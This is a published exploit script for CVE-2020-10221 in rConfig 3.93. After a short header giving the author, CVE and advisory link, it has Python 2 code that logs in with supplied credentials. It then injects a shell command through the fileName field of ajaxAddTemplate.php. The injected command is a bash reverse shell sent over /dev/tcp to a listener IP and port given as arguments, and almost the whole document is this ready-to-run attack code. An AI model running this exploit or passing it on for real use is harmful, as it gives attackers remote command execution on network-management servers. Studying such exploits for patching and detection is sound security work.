rConfig 3.93 Authenticated Remote Code Execution

`# Exploit Title: rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution  
# Date: 2020-03-08  
# Exploit Author: Engin Demirbilek  
# Vendor Homepage: https://www.rconfig.com/  
# Version: rConfig <= 3.94  
# Tested on: centOS  
# CVE: CVE-2020-10221  
# Advisory link: https://engindemirbilek.github.io/rconfig-3.93-rce  
  
import requests  
import sys  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
if len(sys.argv) < 6:  
print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"  
exit()  
  
url = sys.argv[1]  
user = sys.argv[2]  
password = sys.argv[3]  
payload = ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(sys.argv[4], sys.argv[5])  
  
login = {  
'user':user,  
'pass':password,  
'sublogin':'1'  
}  
req = requests.Session()  
print "Sendin login request ..."  
login = req.post(url+"/lib/crud/userprocess.php", data=login, verify=False)  
  
payload = {  
'fileName':payload,  
}  
  
  
  
print "[+] Sendin exploit ..."  
  
exploit = req.post(url+"/lib/ajaxHandlers/ajaxAddTemplate.php",cookies=req.cookies, data=payload, headers={  
'User-Agent':'Mozilla/5.0 Gecko/20100101 Firefox/72.0',  
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',  
'Accept-Encoding':'gzip, deflate',  
'Content-Type':'application/x-www-form-urlencoded'},verify=False)  
  
if exploit.status_code == 200:  
print "[+] Everything seems ok, check your listener."  
else:  
print "[-] Exploit failed, system is patched or credentials are wrong."  
`